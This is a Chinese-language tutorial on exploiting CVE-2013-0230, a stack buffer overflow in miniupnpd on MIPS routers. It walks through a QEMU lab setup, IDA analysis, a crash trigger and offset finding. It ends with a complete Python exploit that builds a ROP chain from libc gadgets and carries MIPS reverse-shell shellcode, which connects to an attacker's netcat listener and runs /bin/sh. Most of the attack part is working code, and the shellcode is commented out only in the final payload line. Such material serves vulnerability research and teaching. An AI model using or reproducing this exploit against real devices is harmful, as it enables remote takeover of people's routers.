Debian 9
Qemu
本文主要以 CVE-2013-0230 以漏洞为例,解释路由器缓冲区的漏洞 exp 编写。
0x01 环境搭建
firmware-analysis-toolkit
https://github.com/attify/firmware-analysis-toolkit
是模拟固件和分析安全漏洞的工具。
该工具可自动解压固件并创建 image 使用 qemu 模拟路由器。
本文还尝试使用该工具,但存在一些问题,无法正常启动。这种情况可以使用Debian MIPS
虚拟机可以直接调试或使用qemu-mipsel-static
来测试某个mips
程序
使用 buildroot 来构建
从 buildroot 官网下载最新版本,解压配置相关设置,下载地址:
https://buildroot.org/download.html
执行命令:
make menuconfig
选择 mips (big endian) 构架
kernel 这里的选择是3.10.x
cross gdb 选择,或者也可以使用gdb-multiarch
(apt-get 直接安装,在使用时要set arch mips
,本文使用gdb-multiarch
)
make 直接编译
make -j2 (-j 后面 cpu 核心)
在根目录的 output 文件夹是编译好的程序
bunctl -t tap0 -u <user>
ifconfig tap0 up
brctl addbr br0
brctl addif br0 tap0
brctl addif br0 eth0
ifconfig br0 192.168.86.2
在启动Debian MIPS
虚拟机后,需要配置虚拟机 IP 与主机通信
从连接下载 qemu 镜像:
https://people.debian.org/~aurel32/qemu/mips/
网桥搭建
bunctl -t tap0 -u <user>
ifconfig tap0 up
brctl addbr br0
brctl addif br0 tap0
brctl addif br0 eth0
ifconfig br0 192.168.86.2
在启动 Debian MIPS 虚拟机后,需要配置虚拟机IP 与主机通信
启动命令
#!/usr/bin/env sh
qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no
如果手边有路由器,也可以用 UART 调试路由器, 需要使用的是 ttl 转 usb 模块, 拆卸路由器后,电路板上通常有四个插孔,用于开发期间的调试,而相应的调试电路在发行期间没有被拆除,因此它们是外部的 ttl 转 usb 模块或六合一模块 UART 调试。需要使用的接口主要包括 TX、RD、GND,连接完成后
在 Linux 可在系统上执行:
sudo minicom --device /dev/ttyUSB0
然后,路由器的启动信息将出现在重新接入电源时,详情请参考
http://future-sec.com/iot-security-hardware-debuging.html
0x02 CVE-2013-0230
本文用于调试 gdb 调试,使用插件pwndbg
:
https://github.com/pwndbg/pwndbg
当然也可以用gef
https://github.com/hugsy/gef
2、mips 有些汇编需要了解汇编基础
3.本文调试 CVE 为了栈溢漏洞,还需要了解其原理
4、ida 使用基础
设置目标
下载到目标固件后,使用binwalk
解压,记得先
sudo apt install squashfs-tools
解压完后
漏洞出现了miniupnpd
文件上
使用qemu-system-mips
启动虚拟机,配置 ip
配置后,通过 scp 将 miniupnpd 文件传输到虚拟机,
还需要将libc.so.0
和ld-uClibc.so.0
复制到虚拟机中,放在一起 lib 目录用,设置链接,确保miniupnpd
可以运行
启动miniupnpd
一些参数需要设置
这里写了一个方便调试的脚本 run, 并且开启 gdbserver , 启动远程调试服务
IDA 逆向分析
使用 ida 打开miniupnpd
文件, 来到ExecuteSoapAction
处
可以清楚的看到 memcpy 函数调用, 调用 memcpy 过程中将 a1 不受限制地复制数据 a0 因此,经典的栈溢出发生了
远程调试
在虚拟机中运行 run 脚本, 在主机上~/.gdbinit
中加入
set architecture mips
target rmote 192.168.86.103:1234
当使用 gdb-multiarch
时,自动执行 .gdbinit
脚本内容
gdb 连上后运行触发脚本
import urllib2
payload = 'A'*2500
#payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D'
#payload = 'A' * 2076
#payload += 'BBBB'
soap_headers = {
'SOAPAction':"n:schemas-upnp-org:service:WANIPConection:1#"+payload,
}
soap_data = """
<?xml version='1.0' encoding="UTF-8"?>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap.envelope/"
>
<SOAP-ENV:Body>
<ns1:action xmlns:ns1="urn:schemaas-upnp-org:service:WANIPConnection:1" SOAP-ENC:root="1">
</ns1:action>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
"""
req = urllib2.Request("http://192.168.86.103:5555", soap_data, soap_headers)
res = urllib2.urlopen(req)
脚本运行后,程序崩溃
返回地址已经被覆盖为 0x41414141
, 使用 pattern 工具进一步来确定栈的大小
pattern 2500
将 payload 改为生成的字符串
重新运行
确定栈大小 2076
在 0x404f44
处下断点,断下来后,查看 a0、a1 的情况
可以看到 a1 指向 'AAA...'
a0 到 sp 的大小为 2072, 符合我们所计算的溢出栈的大小
0x03 ROP 链
我们可以控制 ra、s0、s1、s2、s3、s4、s5、s6 寄存器, 由于 mips 构架的 CPU 有两处缓存,cpu 分别从 code 缓存和 data 缓存来获取指令和输入的数据
为此我们需要处理缓存问题,清除缓存。Airties 路由器不使用 ASLR ,libc 的地址不变
我们需要通过调用 sleep 函数来刷新缓存的问题,随后返回到 shellcode 去执行。
这里使用 ida 插件 mipsrop
https://github.com/devttys0/ida
来查找一些 gadget
用 ida 载入 libc.so.0 , edit
-> plugins
-> MIPS ROP Finder
来初始化 mipsrop 插件
mipsrop.fine("li $a0, 1")
这里选择地址 0x00036860
处的 gadget
找到一处通过 s1 传入地址,跳到该地址调用的 gadget
在 debian mips 虚拟机上执行
sysctl -w kernel.randomize_va_space = 0
来禁用 ASLR 通过 /proc/PID/maps
来找到 libc 的地址
libc 的基址为 0x77f92000
sleep 地址 0x35620
ra_1 = 1.gadget
s1 = 2.gadget
ra__2 = 3.gadget
s6 = 4.gadget
s2 = s6 = 4.gadget
于是 payload 构造如下
2052 bytes junk + s1 + 16 bytes junk + s6 + ra_1 + 28 bytes junk + sleep + 40 bytes junk + s2 + ra_2 + 32 bytesjunks + shellcode
0x04 最终 EXP
#!/usr/bin/env python
import urllib2
from string import join
from argparse import ArgumentParser
from struct import pack
from socket import inet_aton
BYTES = 4
def hex2str(value, size=BYTES):
data = ""
for i in range(0, size):
data += chr((value >> (8*i)) & 0xFF)
data = data[::-1]
return data
arg_parser = ArgumentParser(prog="miniupnpd_mips.py", description="MiniUPnPd \
CVE-2013-0230 Reverse Shell exploit for AirTies \
RT Series, start netcat on lhost:lport")
#arg_parser.add_argument("--target", required=True, help="Target IP address")
arg_parser.add_argument("--lhost", required=True, help="The IP address\
which nc is listening")
arg_parser.add_argument("--lport", required=True, type=int, help="The\
port which nc is listening")
args = arg_parser.parse_args()
libc_base = 0x77f92000
ra_1 = hex2str(libc_base + 0x36860) # ra = 1. gadget
'''
.text:00036860 li $a0, 1
.text:00036864 move $t9, $s1
.text:00036868 jalr $t9 ; sub_36510
.text:0003686C ori $a1, $s0, 2
'''
s1 = hex2str(libc_base + 0x1636C) # s1 = 2. gadget
'''
.text:0001636C move $t9, $s1
.text:00016370 lw $ra, 0x28+var_4($sp)
.text:00016374 lw $s2, 0x28+var_8($sp)
.text:00016378 lw $s1, 0x28+var_C($sp)
.text:0001637C lw $s0, 0x28+var_10($sp)
.text:00016380 jr $t9
.text:00016384 addiu $sp, 0x28
'''
sleep = hex2str(libc_base + 0x35620) # sleep function
ra_2 = hex2str(libc_base + 0x28D3C) # ra = 3. gadget
'''
.text:00028D3C addiu $s0, $sp, 0xD0+var_B0
.text:00028D40 lw $a0, 0($s2)
.text:00028D44 move $a1, $s1
.text:00028D48 move $a2, $s4
.text:00028D4C move $t9, $s6
.text:00028D50 jalr $t9
.text:00028D54 move $a3, $s0
'''
s6 = hex2str(libc_base + 0x1B19C) # ra = 4.gadget
'''
.text:0001B19C move $t9, $s0
.text:0001B1A0 jalr $t9
.text:0001B1A4 nop
'''
s2 = s6
lport = pack('>H', args.lport)
lhost = inet_aton(args.lhost)
shellcode = join([
"\x24\x11\xff\xff"
"\x24\x04\x27\x0f"
"\x24\x02\x10\x46"
"\x01\x01\x01\x0c"
"\x1e\x20\xff\xfc"
"\x24\x11\x10\x2d"
"\x24\x02\x0f\xa2"
"\x01\x01\x01\x0c"
"\x1c\x40\xff\xf8"
"\x24\x0f\xff\xfa"
"\x01\xe0\x78\x27"
"\x21\xe4\xff\xfd"
"\x21\xe5\xff\xfd"
"\x28\x06\xff\xff"
"\x24\x02\x10\x57"
"\x01\x01\x01\x0c"
"\xaf\xa2\xff\xff"
"\x8f\xa4\xff\xff"
"\x34\x0f\xff\xfd"
"\x01\xe0\x78\x27"
"\xaf\xaf\xff\xe0"
"\x3c\x0e" + lport +
"\x35\xce" + lport +
"\xaf\xae\xff\xe4"
"\x3c\x0e" + lhost[:2] +
"\x35\xce" + lhost[2:4] +
"\xaf\xae\xff\xe6"
"\x27\xa5\xff\xe2"
"\x24\x0c\xff\xef"
"\x01\x80\x30\x27"
"\x24\x02\x10\x4a"
"\x01\x01\x01\x0c"
"\x24\x0f\xff\xfd"
"\x01\xe0\x78\x27"
"\x8f\xa4\xff\xff"
"\x01\xe0\x28\x21"
"\x24\x02\x0f\xdf"
"\x01\x01\x01\x0c"
"\x24\x10\xff\xff"
"\x21\xef\xff\xff"
"\x15\xf0\xff\xfa"
"\x28\x06\xff\xff"
"\x3c\x0f\x2f\x2f"
"\x35\xef\x62\x69"
"\xaf\xaf\xff\xec"
"\x3c\x0e\x6e\x2f"
"\x35\xce\x73\x68"
"\xaf\xae\xff\xf0"
"\xaf\xa0\xff\xf4"
"\x27\xa4\xff\xec"
"\xaf\xa4\xff\xf8"
"\xaf\xa0\xff\xfc"
"\x27\xa5\xff\xf8"
"\x24\x02\x0f\xab"
"\x01\x01\x01\x0c"
], '')
payload = 'A'*2052 + s1 + 'A'*(4*4) + s6 + ra_1 + 'A'*28 + sleep + 'A'*40 + s2\
+ ra_2 + 'C'*32 #+ shellcode
soap_headers = {
'SOAPAction': "n:schemas-upnp-org:service:WANIPConnection:1#" + payload,
}
soap_data = """
<?xml version='1.0' encoding="UTF-8"?>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
>
<SOAP-ENV:Body>
<ns1:action xmlns:ns1="urn:schemas-upnp-org:service:WANIPConnection:1"\
SOAP-ENC:root="1">
</ns1:action>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
"""
#try:
print "Exploiting..."
req = urllib2.Request("http://192.168.86.103:5555", soap_data,soap_headers)
urllib2.urlopen(req)
参考文章
https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1
https://emreboy.wordpress.com/2012/12/24/connecting-qemu-to-a-real-network/
http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/
http://www.devttys0.com/2013/10/mips-rop-ida-plugin/